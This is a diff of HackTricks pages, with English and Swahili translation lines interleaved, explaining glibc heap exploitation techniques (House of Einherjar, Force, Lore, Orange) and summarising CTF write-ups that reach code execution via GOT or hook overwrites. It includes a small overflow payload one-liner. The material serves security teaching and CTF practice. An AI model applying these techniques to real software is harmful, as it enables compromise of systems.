Kisha, baadhi ya hizi placeholders zinaweza kuwa **zimeachiliwa**. Orodha ya bure ya **`kalloc.4096` inatoa vipengele kwa mpangilio wa mwisho-kuingia-wa-kwanza**, ambayo kimsingi inamaanisha kwamba ikiwa baadhi ya placeholders zimeachiliwa na jaribio la exploit linajaribu kutenga vitu kadhaa vya mwathirika wakati wa kujaribu kutenga kitu kilicho hatarini kujaa, kuna uwezekano kwamba kitu hiki kitafuatiwa na kitu cha mwathirika.
### Example libc
[**In this page**](https://guyinatuxedo.github.io/27-edit_free_chunk/heap_consolidation_explanation/index.html) it's possible to find a basic Heap overflow emulation that shows how overwriting the prev in use bit of the next chunk and the position of the prev size it's possible to **consolidate a used chunk** (by making it thing it's unused) and **then allocate it again** being able to overwrite data that is being used in a different pointer also.
[**Katika ukurasa huu**](https://guyinatuxedo.github.io/27-edit_free_chunk/heap_consolidation_explanation/index.html) inawezekana kupata mfano wa msingi wa overflow ya heap unaoonyesha jinsi ya kuandika upya bit ya prev inatumika ya kipande kinachofuata na nafasi ya ukubwa wa prev inawezekana **kuunganisha kipande kilichotumika** (kwa kulifanya kufikiri hakitumiki) na **kisha kukitenga tena** ikiwa na uwezo wa kuandika data inayotumika katika pointer tofauti pia.
Another example from [**protostar heap 0**](https://guyinatuxedo.github.io/24-heap_overflow/protostar_heap0/index.html) shows a very basic example of a CTF where a **heap overflow** can be abused to call the winner function to **get the flag**.
Mfano mwingine kutoka [**protostar heap 0**](https://guyinatuxedo.github.io/24-heap_overflow/protostar_heap0/index.html) unaonyesha mfano wa msingi wa CTF ambapo **overflow ya heap** inaweza kutumika kuita kazi ya mshindi ili **kupata bendera**.
In the [**protostar heap 1**](https://guyinatuxedo.github.io/24-heap_overflow/protostar_heap1/index.html) example it's possible to see how abusing a buffer overflow it's possible to **overwrite in a near chunk an address** where **arbitrary data from the user** is going to be written to.
Katika mfano wa [**protostar heap 1**](https://guyinatuxedo.github.io/24-heap_overflow/protostar_heap1/index.html) inawezekana kuona jinsi ya kutumia overflow ya buffer inawezekana **kuandika upya katika kipande kilichokaribu anwani** ambapo **data isiyo na mpangilio kutoka kwa mtumiaji** itakuwa imeandikwa.
### Example ARM64
In the page [https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/](https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/) you can find a heap overflow example where a command that is going to be executed is stored in the following chunk from the overflowed chunk. So, it's possible to modify the executed command by overwriting it with an easy exploit such as:
Katika ukurasa [https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/](https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/) unaweza kupata mfano wa overflow ya heap ambapo amri ambayo itatekelezwa inahifadhiwa katika kipande kinachofuata kutoka kwa kipande kilichojazwa. Hivyo, inawezekana kubadilisha amri inayotekelezwa kwa kuandika upya kwa exploit rahisi kama:
```bash
python3 -c 'print("/"*0x400+"/bin/ls\x00")' > hax.txt
```
### Other examples
### Mifano mingine
- [**Auth-or-out. Hack The Box**](https://7rocky.github.io/en/ctf/htb-challenges/pwn/auth-or-out/)
- We use an Integer Overflow vulnerability to get a Heap Overflow.
- We corrupt pointers to a function inside a `struct` of the overflowed chunk to set a function such as `system` and get code execution.
- Tunatumia udhaifu wa Integer Overflow kupata Heap Overflow.
- Tunaharibu viashiria vya kazi ndani ya `struct` ya kipande kilichozidi uwezo ili kuweka kazi kama `system` na kupata utekelezaji wa msimbo.
{{#include ../../banners/hacktricks-training.md}}

View File

@ -6,44 +6,44 @@
### Code
- Check the example from [https://github.com/shellphish/how2heap/blob/master/glibc_2.35/house_of_einherjar.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.35/house_of_einherjar.c)
- Or the one from [https://guyinatuxedo.github.io/42-house_of_einherjar/house_einherjar_exp/index.html#house-of-einherjar-explanation](https://guyinatuxedo.github.io/42-house_of_einherjar/house_einherjar_exp/index.html#house-of-einherjar-explanation) (you might need to fill the tcache)
- Angalia mfano kutoka [https://github.com/shellphish/how2heap/blob/master/glibc_2.35/house_of_einherjar.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.35/house_of_einherjar.c)
- Au ile kutoka [https://guyinatuxedo.github.io/42-house_of_einherjar/house_einherjar_exp/index.html#house-of-einherjar-explanation](https://guyinatuxedo.github.io/42-house_of_einherjar/house_einherjar_exp/index.html#house-of-einherjar-explanation) (huenda ukahitaji kujaza tcache)
### Goal
- The goal is to allocate memory in almost any specific address.
- Lengo ni kugawa kumbukumbu katika anwani maalum karibu yoyote.
### Requirements
- Create a fake chunk when we want to allocate a chunk:
- Set pointers to point to itself to bypass sanity checks
- One-byte overflow with a null byte from one chunk to the next one to modify the `PREV_INUSE` flag.
- Indicate in the `prev_size` of the off-by-null abused chunk the difference between itself and the fake chunk
- The fake chunk size must also have been set the same size to bypass sanity checks
- For constructing these chunks, you will need a heap leak.
- Unda chunk bandia tunapotaka kugawa chunk:
- Weka viashiria kuashiria yenyewe ili kupita ukaguzi wa usalama
- Overflow ya byte moja na byte ya null kutoka chunk moja hadi nyingine ili kubadilisha bendera ya `PREV_INUSE`.
- Onyesha katika `prev_size` ya chunk iliyoathiriwa na null tofauti kati yake na chunk bandia
- Ukubwa wa chunk bandia lazima pia uwe umewekwa sawa ili kupita ukaguzi wa usalama
- Kwa ajili ya kujenga hizi chunks, utahitaji kuvuja heap.
### Attack
- `A` fake chunk is created inside a chunk controlled by the attacker pointing with `fd` and `bk` to the original chunk to bypass protections
- 2 other chunks (`B` and `C`) are allocated
- Abusing the off by one in the `B` one the `prev in use` bit is cleaned and the `prev_size` data is overwritten with the difference between the place where the `C` chunk is allocated, to the fake `A` chunk generated before
- This `prev_size` and the size in the fake chunk `A` must be the same to bypass checks.
- Then, the tcache is filled
- Then, `C` is freed so it consolidates with the fake chunk `A`
- Then, a new chunk `D` is created which will be starting in the fake `A` chunk and covering `B` chunk
- The house of Einherjar finishes here
- This can be continued with a fast bin attack or Tcache poisoning:
- Free `B` to add it to the fast bin / Tcache
- `B`'s `fd` is overwritten making it point to the target address abusing the `D` chunk (as it contains `B` inside)&#x20;
- Then, 2 mallocs are done and the second one is going to be **allocating the target address**
- `A` chunk bandia inaundwa ndani ya chunk inayodhibitiwa na mshambuliaji ikielekeza na `fd` na `bk` kwa chunk asilia ili kupita ulinzi
- Chunks 2 nyingine (`B` na `C`) zinagawiwa
- Kwa kutumia off by one katika `B` bendera ya `prev in use` inafutwa na data ya `prev_size` inabadilishwa na tofauti kati ya mahali ambapo chunk `C` inagawiwa, hadi chunk bandia `A` iliyoundwa hapo awali
- Hii `prev_size` na ukubwa katika chunk bandia `A` lazima iwe sawa ili kupita ukaguzi.
- Kisha, tcache inajazwa
- Kisha, `C` inachukuliwa ili kuungana na chunk bandia `A`
- Kisha, chunk mpya `D` inaundwa ambayo itaanza katika chunk bandia `A` na kufunika chunk `B`
- Nyumba ya Einherjar inamalizika hapa
- Hii inaweza kuendelea na shambulio la fast bin au Tcache poisoning:
- Free `B` ili kuiongeza kwenye fast bin / Tcache
- `fd` ya `B` inabadilishwa ikifanya iweke kwenye anwani ya lengo ikitumia chunk `D` (kama inavyojumuisha `B` ndani)&#x20;
- Kisha, mallocs 2 zinafanywa na ya pili itakuwa **ikigawa anwani ya lengo**
## References and other examples
- [https://github.com/shellphish/how2heap/blob/master/glibc_2.35/house_of_einherjar.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.35/house_of_einherjar.c)
- **CTF** [**https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_einherjar/#2016-seccon-tinypad**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_einherjar/#2016-seccon-tinypad)
- After freeing pointers their aren't nullified, so it's still possible to access their data. Therefore a chunk is placed in the unsorted bin and leaked the pointers it contains (libc leak) and then a new heap is places on the unsorted bin and leaked a heap address from the pointer it gets.
- Baada ya kuachilia viashiria havijafutwa, hivyo bado inawezekana kufikia data zao. Kwa hivyo chunk inawekwa katika bin isiyo na mpangilio na kuvuja viashiria inavyoshikilia (libc leak) na kisha heap mpya inawekwa kwenye bin isiyo na mpangilio na kuvuja anwani ya heap kutoka kwa kiashiria inachopata.
- [**baby-talk. DiceCTF 2024**](https://7rocky.github.io/en/ctf/other/dicectf/baby-talk/)
- Null-byte overflow bug in `strtok`.
- Use House of Einherjar to get an overlapping chunks situation and finish with Tcache poisoning ti get an arbitrary write primitive.
- Null-byte overflow bug katika `strtok`.
- Tumia House of Einherjar kupata hali ya chunks zinazoshirikiana na kumaliza na Tcache poisoning ili kupata primitive ya kuandika isiyo na mpangilio.
{{#include ../../banners/hacktricks-training.md}}

View File

@ -6,41 +6,39 @@
### Code
- This technique was patched ([**here**](https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=30a17d8c95fbfb15c52d1115803b63aaa73a285c)) and produces this error: `malloc(): corrupted top size`
- You can try the [**code from here**](https://guyinatuxedo.github.io/41-house_of_force/house_force_exp/index.html) to test it if you want.
- Mbinu hii ilirekebishwa ([**hapa**](https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=30a17d8c95fbfb15c52d1115803b63aaa73a285c)) na inazalisha kosa hili: `malloc(): corrupted top size`
- Unaweza kujaribu [**kodii kutoka hapa**](https://guyinatuxedo.github.io/41-house_of_force/house_force_exp/index.html) ili kuijaribu ikiwa unataka.
### Goal
- The goal of this attack is to be able to allocate a chunk in a specific address.
- Lengo la shambulio hili ni kuwa na uwezo wa kugawa kipande katika anwani maalum.
### Requirements
- An overflow that allows to overwrite the size of the top chunk header (e.g. -1).
- Be able to control the size of the heap allocation
- Overflow inayoruhusu kuandika upya saizi ya kichwa cha kipande cha juu (e.g. -1).
- Kuwa na uwezo wa kudhibiti saizi ya ugawaji wa heap
### Attack
If an attacker wants to allocate a chunk in the address P to overwrite a value here. He starts by overwriting the top chunk size with `-1` (maybe with an overflow). This ensures that malloc won't be using mmap for any allocation as the Top chunk will always have enough space.
Then, calculate the distance between the address of the top chunk and the target space to allocate. This is because a malloc with that size will be performed in order to move the top chunk to that position. This is how the difference/size can be easily calculated:
Ikiwa mshambuliaji anataka kugawa kipande katika anwani P ili kuandika upya thamani hapa. Anaanza kwa kuandika upya saizi ya kipande cha juu kwa `-1` (labda kwa kutumia overflow). Hii inahakikisha kwamba malloc haitatumia mmap kwa ugawaji wowote kwani kipande cha Juu kitakuwa na nafasi ya kutosha kila wakati.
Kisha, hesabu umbali kati ya anwani ya kipande cha juu na nafasi ya lengo kugawa. Hii ni kwa sababu malloc yenye saizi hiyo itafanywa ili kuhamasisha kipande cha juu katika nafasi hiyo. Hivi ndivyo tofauti/saizi inaweza kuhesabiwa kwa urahisi:
```c
// From https://github.com/shellphish/how2heap/blob/master/glibc_2.27/house_of_force.c#L59C2-L67C5
/*
* The evil_size is calulcated as (nb is the number of bytes requested + space for metadata):
* new_top = old_top + nb
* nb = new_top - old_top
* req + 2sizeof(long) = new_top - old_top
* req = new_top - old_top - 2sizeof(long)
* req = target - 2sizeof(long) - old_top - 2sizeof(long)
* req = target - old_top - 4*sizeof(long)
*/
* The evil_size is calulcated as (nb is the number of bytes requested + space for metadata):
* new_top = old_top + nb
* nb = new_top - old_top
* req + 2sizeof(long) = new_top - old_top
* req = new_top - old_top - 2sizeof(long)
* req = target - 2sizeof(long) - old_top - 2sizeof(long)
* req = target - old_top - 4*sizeof(long)
*/
```
Hivyo, kugawa saizi ya `target - old_top - 4*sizeof(long)` (long 4 ni kwa sababu ya metadata ya top chunk na ya chunk mpya wakati inagawiwa) itahamisha top chunk hadi anwani tunayotaka kuandika.\
Kisha, fanya malloc nyingine ili kupata chunk kwenye anwani ya lengo.
Therefore, allocating a size of `target - old_top - 4*sizeof(long)` (the 4 longs are because of the metadata of the top chunk and of the new chunk when allocated) will move the top chunk to the address we want to overwrite.\
Then, do another malloc to get a chunk at the target address.
### References & Other Examples
### Marejeleo na Mifano Mingine
- [https://github.com/shellphish/how2heap/tree/master](https://github.com/shellphish/how2heap/tree/master?tab=readme-ov-file)
- [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_force/](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_force/)
@ -48,17 +46,17 @@ Then, do another malloc to get a chunk at the target address.
- [https://github.com/shellphish/how2heap/blob/master/glibc_2.27/house_of_force.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.27/house_of_force.c)
- [https://guyinatuxedo.github.io/41-house_of_force/house_force_exp/index.html](https://guyinatuxedo.github.io/41-house_of_force/house_force_exp/index.html)
- [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_force/#hitcon-training-lab-11](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_force/#hitcon-training-lab-11)
- The goal of this scenario is a ret2win where we need to modify the address of a function that is going to be called by the address of the ret2win function
- The binary has an overflow that can be abused to modify the top chunk size, which is modified to -1 or p64(0xffffffffffffffff)
- Then, it's calculated the address to the place where the pointer to overwrite exists, and the difference from the current position of the top chunk to there is alloced with `malloc`
- Finally a new chunk is alloced which will contain this desired target inside which is overwritten by the ret2win function
- Lengo la hali hii ni ret2win ambapo tunahitaji kubadilisha anwani ya kazi ambayo itaitwa na anwani ya kazi ya ret2win
- Binary ina overflow ambayo inaweza kutumika kubadilisha saizi ya top chunk, ambayo inabadilishwa kuwa -1 au p64(0xffffffffffffffff)
- Kisha, inakokotwa anwani ya mahali ambapo kiashiria cha kuandika kipo, na tofauti kutoka kwa nafasi ya sasa ya top chunk hadi pale inagawiwa na `malloc`
- Hatimaye, chunk mpya inagawiwa ambayo itakuwa na lengo hili lililotakikana ndani ambayo inabadilishwa na kazi ya ret2win
- [https://shift--crops-hatenablog-com.translate.goog/entry/2016/03/21/171249?\_x_tr_sl=es&\_x_tr_tl=en&\_x_tr_hl=en&\_x_tr_pto=wapp](https://shift--crops-hatenablog-com.translate.goog/entry/2016/03/21/171249?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=en&_x_tr_pto=wapp)
- In the `Input your name:` there is an initial vulnerability that allows to leak an address from the heap
- Then in the `Org:` and `Host:` functionality its possible to fill the 64B of the `s` pointer when asked for the **org name**, which in the stack is followed by the address of v2, which is then followed by the indicated **host name**. As then, strcpy is going to be copying the contents of s to a chunk of size 64B, it's possible to **overwrite the size of the top chunk** with the data put inside the **host name**.
- Now that arbitrary write it possible, the `atoi`'s GOT was overwritten to the address of printf. the it as possible to leak the address of `IO_2_1_stderr` _with_ `%24$p`. And with this libc leak it was possible to overwrite `atoi`'s GOT again with the address to `system` and call it passing as param `/bin/sh`
- An alternative method [proposed in this other writeup](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_force/#2016-bctf-bcloud), is to overwrite `free` with `puts`, and then add the address of `atoi@got`, in the pointer that will be later freed so it's leaked and with this leak overwrite again `atoi@got` with `system` and call it with `/bin/sh`.
- Katika `Input your name:` kuna udhaifu wa awali unaoruhusu kuvuja anwani kutoka kwenye heap
- Kisha katika `Org:` na `Host:` kazi inawezekana kujaza 64B ya kiashiria `s` wakati inapoombwa jina la **org**, ambalo katika stack linafuatiwa na anwani ya v2, ambayo kisha inafuatiwa na jina la **host** lililoonyeshwa. Kadri hivyo, strcpy itakuwa ikikopi maudhui ya s kwenye chunk ya saizi 64B, inawezekana **kuandika upya saizi ya top chunk** na data iliyowekwa ndani ya **jina la host**.
- Sasa kwamba kuandika kwa bahati nasibu kunawezekana, GOT ya `atoi` ilandikwa upya hadi anwani ya printf. kisha ilikuwa inawezekana kuvuja anwani ya `IO_2_1_stderr` _kwa_ `%24$p`. Na kwa kuvuja hii ya libc ilikuwa inawezekana kuandika upya GOT ya `atoi` tena na anwani ya `system` na kuitwa ikipita kama param `/bin/sh`
- Njia mbadala [iliyopendekezwa katika andiko hili lingine](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_force/#2016-bctf-bcloud), ni kuandika upya `free` na `puts`, na kisha kuongeza anwani ya `atoi@got`, katika kiashiria ambacho kitakuwa kimeachiliwa baadaye ili kuvuja na kwa kuvuja hii kuandika upya tena `atoi@got` na `system` na kuitwa na `/bin/sh`.
- [https://guyinatuxedo.github.io/41-house_of_force/bkp16_cookbook/index.html](https://guyinatuxedo.github.io/41-house_of_force/bkp16_cookbook/index.html)
- There is a UAF allowing to reuse a chunk that was freed without clearing the pointer. Because there are some read methods, it's possible to leak a libc address writing a pointer to the free function in the GOT here and then calling the read function.
- Then, House of force was used (abusing the UAF) to overwrite the size of the left space with a -1, allocate a chunk big enough to get tot he free hook, and then allocate another chunk which will contain the free hook. Then, write in the hook the address of `system`, write in a chunk `"/bin/sh"` and finally free the chunk with that string content.
- Kuna UAF inayoruhusu kutumia chunk ambayo iliachiliwa bila kufuta kiashiria. Kwa sababu kuna baadhi ya mbinu za kusoma, inawezekana kuvuja anwani ya libc kwa kuandika kiashiria kwenye kazi ya bure katika GOT hapa na kisha kuita kazi ya kusoma.
- Kisha, House of force ilitumika (ik abusing UAF) kuandika upya saizi ya nafasi iliyobaki kwa -1, kugawa chunk kubwa ya kutosha kufikia free hook, na kisha kugawa chunk nyingine ambayo itakuwa na free hook. Kisha, andika kwenye hook anwani ya `system`, andika kwenye chunk `"/bin/sh"` na hatimaye achilia chunk hiyo yenye maudhui hayo.
{{#include ../../banners/hacktricks-training.md}}

View File

@ -6,37 +6,37 @@
### Code
- Check the one from [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_lore/](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_lore/)
- This isn't working
- Or: [https://github.com/shellphish/how2heap/blob/master/glibc_2.39/house_of_lore.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.39/house_of_lore.c)
- This isn't working even if it tries to bypass some checks getting the error: `malloc(): unaligned tcache chunk detected`
- This example is still working: [**https://guyinatuxedo.github.io/40-house_of_lore/house_lore_exp/index.html**](https://guyinatuxedo.github.io/40-house_of_lore/house_lore_exp/index.html)&#x20;
- Angalia ile kutoka [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_lore/](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_lore/)
- Hii haifanyi kazi
- Au: [https://github.com/shellphish/how2heap/blob/master/glibc_2.39/house_of_lore.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.39/house_of_lore.c)
- Hii haifanyi kazi hata kama inajaribu kupita baadhi ya ukaguzi ikipata kosa: `malloc(): unaligned tcache chunk detected`
- Mfano huu bado unafanya kazi: [**https://guyinatuxedo.github.io/40-house_of_lore/house_lore_exp/index.html**](https://guyinatuxedo.github.io/40-house_of_lore/house_lore_exp/index.html)&#x20;
### Goal
- Insert a **fake small chunk in the small bin so then it's possible to allocate it**.\
Note that the small chunk added is the fake one the attacker creates and not a fake one in an arbitrary position.
- Ingiza **kipande kidogo cha uongo katika sanduku dogo ili iwezekane kukipatia**.\
Kumbuka kwamba kipande kidogo kilichoongezwa ni kile cha uongo ambacho mshambuliaji anaunda na si kipande cha uongo katika nafasi isiyo ya kawaida.
### Requirements
- Create 2 fake chunks and link them together and with the legit chunk in the small bin:
- `fake0.bk` -> `fake1`
- `fake1.fd` -> `fake0`
- `fake0.fd` -> `legit` (you need to modify a pointer in the freed small bin chunk via some other vuln)
- `legit.bk` -> `fake0`
- Unda vipande viwili vya uongo na uviunganishe pamoja na kipande halali katika sanduku dogo:
- `fake0.bk` -> `fake1`
- `fake1.fd` -> `fake0`
- `fake0.fd` -> `legit` (unahitaji kubadilisha kiashiria katika kipande kidogo kilichofutwa kupitia udhaifu mwingine)
- `legit.bk` -> `fake0`
Then you will be able to allocate `fake0`.
Kisha utaweza kukipatia `fake0`.
### Attack
- A small chunk (`legit`) is allocated, then another one is allocated to prevent consolidating with top chunk. Then, `legit` is freed (moving it to the unsorted bin list) and the a larger chunk is allocated, **moving `legit` it to the small bin.**
- An attacker generates a couple of fake small chunks, and makes the needed linking to bypass sanity checks:
- `fake0.bk` -> `fake1`
- `fake1.fd` -> `fake0`
- `fake0.fd` -> `legit` (you need to modify a pointer in the freed small bin chunk via some other vuln)
- `legit.bk` -> `fake0`
- A small chunk is allocated to get legit, making **`fake0`** into the top list of small bins
- Another small chunk is allocated, getting `fake0` as a chunk, allowing potentially to read/write pointers inside of it.
- Kipande kidogo (`legit`) kinapatikana, kisha kingine kinapatikana ili kuzuia kuunganishwa na kipande kikuu. Kisha, `legit` kinafutwa (kikihamishwa kwenye orodha ya sanduku zisizo na mpangilio) na kipande kikubwa kinapatikana, **kikihamisha `legit` kwenye sanduku dogo.**
- Mshambuliaji anaunda vipande kadhaa vya uongo vidogo, na kufanya uunganisho unaohitajika ili kupita ukaguzi wa akili:
- `fake0.bk` -> `fake1`
- `fake1.fd` -> `fake0`
- `fake0.fd` -> `legit` (unahitaji kubadilisha kiashiria katika kipande kidogo kilichofutwa kupitia udhaifu mwingine)
- `legit.bk` -> `fake0`
- Kipande kidogo kinapatikana ili kupata legit, kikifanya **`fake0`** kuwa kwenye orodha ya juu ya sanduku dogo
- Kipande kingine kidogo kinapatikana, kikipata `fake0` kama kipande, na kuruhusu uwezekano wa kusoma/kandika viashiria ndani yake.
## References

View File

@ -6,66 +6,66 @@
### Code
- Find an example in [https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_orange.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_orange.c)
- The exploitation technique was fixed in this [patch](https://sourceware.org/git/?p=glibc.git;a=blobdiff;f=stdlib/abort.c;h=117a507ff88d862445551f2c07abb6e45a716b75;hp=19882f3e3dc1ab830431506329c94dcf1d7cc252;hb=91e7cf982d0104f0e71770f5ae8e3faf352dea9f;hpb=0c25125780083cbba22ed627756548efe282d1a0) so this is no longer working (working in earlier than 2.26)
- Same example **with more comments** in [https://guyinatuxedo.github.io/43-house_of_orange/house_orange_exp/index.html](https://guyinatuxedo.github.io/43-house_of_orange/house_orange_exp/index.html)
- Tafuta mfano katika [https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_orange.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_orange.c)
- Mbinu ya unyakuzi ilirekebishwa katika [patch](https://sourceware.org/git/?p=glibc.git;a=blobdiff;f=stdlib/abort.c;h=117a507ff88d862445551f2c07abb6e45a716b75;hp=19882f3e3dc1ab830431506329c94dcf1d7cc252;hb=91e7cf982d0104f0e71770f5ae8e3faf352dea9f;hpb=0c25125780083cbba22ed627756548efe282d1a0) hivyo hii sasa haifanyi kazi (inafanya kazi kabla ya 2.26)
- Mfano sawa **na maelezo zaidi** katika [https://guyinatuxedo.github.io/43-house_of_orange/house_orange_exp/index.html](https://guyinatuxedo.github.io/43-house_of_orange/house_orange_exp/index.html)
### Goal
- Abuse `malloc_printerr` function
- Tumia kazi ya `malloc_printerr`
### Requirements
- Overwrite the top chunk size
- Libc and heap leaks
- Badilisha saizi ya juu ya chunk
- Libc na leaks za heap
### Background
Some needed background from the comments from [**this example**](https://guyinatuxedo.github.io/43-house_of_orange/house_orange_exp/index.html)**:**
Baadhi ya taarifa muhimu kutoka kwa maoni ya [**hiki mfano**](https://guyinatuxedo.github.io/43-house_of_orange/house_orange_exp/index.html)**:**
Thing is, in older versions of libc, when the `malloc_printerr` function was called it would **iterate through a list of `_IO_FILE` structs stored in `_IO_list_all`**, and actually **execute** an instruction pointer in that struct.\
This attack will forge a **fake `_IO_FILE` struct** that we will write to **`_IO_list_all`**, and cause `malloc_printerr` to run.\
Then it will **execute whatever address** we have stored in the **`_IO_FILE`** structs jump table, and we will get code execution
Kitu ni kwamba, katika toleo za zamani za libc, wakati kazi ya `malloc_printerr` ilipokuwa inaitwa, ilifanya **kuzunguka kwenye orodha ya miundo ya `_IO_FILE` iliyohifadhiwa katika `_IO_list_all`**, na kwa kweli **kutekeleza** kiashiria cha maagizo katika muundo huo.\
Shambulio hili litaunda **muundo wa `_IO_FILE` wa uongo** ambao tutauandika kwenye **`_IO_list_all`**, na kusababisha `malloc_printerr` ikimbie.\
Kisha itatekeleza **anwani yoyote** tuliyoihifadhi katika **`_IO_FILE`** jump table, na tutapata utekelezaji wa msimbo.
### Attack
The attack starts by managing to get the **top chunk** inside the **unsorted bin**. This is achieved by calling `malloc` with a size greater than the current top chunk size but smaller than **`mmp_.mmap_threshold`** (default is 128K), which would otherwise trigger `mmap` allocation. Whenever the top chunk size is modified, it's important to ensure that the **top chunk + its size** is page-aligned and that the **prev_inuse** bit of the top chunk is always set.
Shambulio linaanza kwa kufanikiwa kupata **top chunk** ndani ya **unsorted bin**. Hii inapatikana kwa kuita `malloc` na saizi kubwa kuliko saizi ya sasa ya top chunk lakini ndogo kuliko **`mmp_.mmap_threshold`** (kawaida ni 128K), ambayo vinginevyo ingesababisha `mmap` allocation. Kila wakati saizi ya top chunk inabadilishwa, ni muhimu kuhakikisha kuwa **top chunk + saizi yake** imepangwa kwa ukurasa na kwamba **prev_inuse** bit ya top chunk imewekwa kila wakati.
To get the top chunk inside the unsorted bin, allocate a chunk to create the top chunk, change the top chunk size (with an overflow in the allocated chunk) so that **top chunk + size** is page-aligned with the **prev_inuse** bit set. Then allocate a chunk larger than the new top chunk size. Note that `free` is never called to get the top chunk into the unsorted bin.
Ili kupata top chunk ndani ya unsorted bin, tengeneza chunk ili kuunda top chunk, badilisha saizi ya top chunk (kwa overflow katika chunk iliyotolewa) ili **top chunk + saizi** iwe imepangwa kwa ukurasa na **prev_inuse** bit imewekwa. Kisha tengeneza chunk kubwa zaidi kuliko saizi mpya ya top chunk. Kumbuka kwamba `free` haitaitwa kamwe ili kupata top chunk ndani ya unsorted bin.
The old top chunk is now in the unsorted bin. Assuming we can read data inside it (possibly due to a vulnerability that also caused the overflow), its possible to leak libc addresses from it and get the address of **\_IO_list_all**.
Top chunk ya zamani sasa iko katika unsorted bin. Ikiwa tunaweza kusoma data ndani yake (labda kutokana na udhaifu ambao pia ulisababisha overflow), inawezekana kuvuja anwani za libc kutoka kwake na kupata anwani ya **\_IO_list_all**.
An unsorted bin attack is performed by abusing the overflow to write `topChunk->bk->fwd = _IO_list_all - 0x10`. When a new chunk is allocated, the old top chunk will be split, and a pointer to the unsorted bin will be written into **`_IO_list_all`**.
Shambulio la unsorted bin linafanywa kwa kutumia overflow kuandika `topChunk->bk->fwd = _IO_list_all - 0x10`. Wakati chunk mpya inatolewa, top chunk ya zamani itagawanywa, na kiashiria cha unsorted bin kitaandikwa kwenye **`_IO_list_all`**.
The next step involves shrinking the size of the old top chunk to fit into a small bin, specifically setting its size to **0x61**. This serves two purposes:
Hatua inayofuata inahusisha kupunguza saizi ya top chunk ya zamani ili ifae katika bin ndogo, hasa kuweka saizi yake kuwa **0x61**. Hii inatumika kwa madhumuni mawili:
1. **Insertion into Small Bin 4**: When `malloc` scans through the unsorted bin and sees this chunk, it will try to insert it into small bin 4 due to its small size. This makes the chunk end up at the head of the small bin 4 list which is the location of the FD pointer of the chunk of **`_IO_list_all`** as we wrote a close address in **`_IO_list_all`** via the unsorted bin attack.
2. **Triggering a Malloc Check**: This chunk size manipulation will cause `malloc` to perform internal checks. When it checks the size of the false forward chunk, which will be zero, it triggers an error and calls `malloc_printerr`.
1. **Kuingiza katika Bin Ndogo 4**: Wakati `malloc` inachambua unsorted bin na kuona chunk hii, itajaribu kuingiza katika bin ndogo 4 kutokana na saizi yake ndogo. Hii inafanya chunk kuishia kwenye kichwa cha orodha ya bin ndogo 4 ambayo ni eneo la kiashiria cha FD cha chunk ya **`_IO_list_all`** kwani tuliandika anwani ya karibu katika **`_IO_list_all`** kupitia shambulio la unsorted bin.
2. **Kusababisha Ukaguzi wa Malloc**: Manipulation hii ya saizi ya chunk itasababisha `malloc` kufanya ukaguzi wa ndani. Wakati inakagua saizi ya chunk ya uongo ya mbele, ambayo itakuwa sifuri, inasababisha kosa na kuita `malloc_printerr`.
The manipulation of the small bin will allow you to control the forward pointer of the chunk. The overlap with **\_IO_list_all** is used to forge a fake **\_IO_FILE** structure. The structure is carefully crafted to include key fields like `_IO_write_base` and `_IO_write_ptr` set to values that pass internal checks in libc. Additionally, a jump table is created within the fake structure, where an instruction pointer is set to the address where arbitrary code (e.g., the `system` function) can be executed.
Manipulation ya bin ndogo itakuruhusu kudhibiti kiashiria cha mbele cha chunk. Mchanganyiko na **\_IO_list_all** unatumika kuunda muundo wa uongo wa **\_IO_FILE**. Muundo huu umeundwa kwa uangalifu ili kujumuisha maeneo muhimu kama `_IO_write_base` na `_IO_write_ptr` yaliyowekwa kwa thamani zinazopita ukaguzi wa ndani katika libc. Zaidi ya hayo, jump table inaundwa ndani ya muundo wa uongo, ambapo kiashiria cha maagizo kimewekwa kwenye anwani ambapo msimbo wa kiholela (kwa mfano, kazi ya `system`) unaweza kutekelezwa.
To summarize the remaining part of the technique:
Ili kufupisha sehemu iliyobaki ya mbinu:
- **Shrink the Old Top Chunk**: Adjust the size of the old top chunk to **0x61** to fit it into a small bin.
- **Set Up the Fake `_IO_FILE` Structure**: Overlap the old top chunk with the fake **\_IO_FILE** structure and set fields appropriately to hijack execution flow.
- **Punguza Top Chunk ya Zamani**: Badilisha saizi ya top chunk ya zamani kuwa **0x61** ili ifae katika bin ndogo.
- **Weka Muundo wa Uongo wa `_IO_FILE`**: Punguza top chunk ya zamani na muundo wa uongo wa **\_IO_FILE** na weka maeneo ipasavyo ili kuiba mtiririko wa utekelezaji.
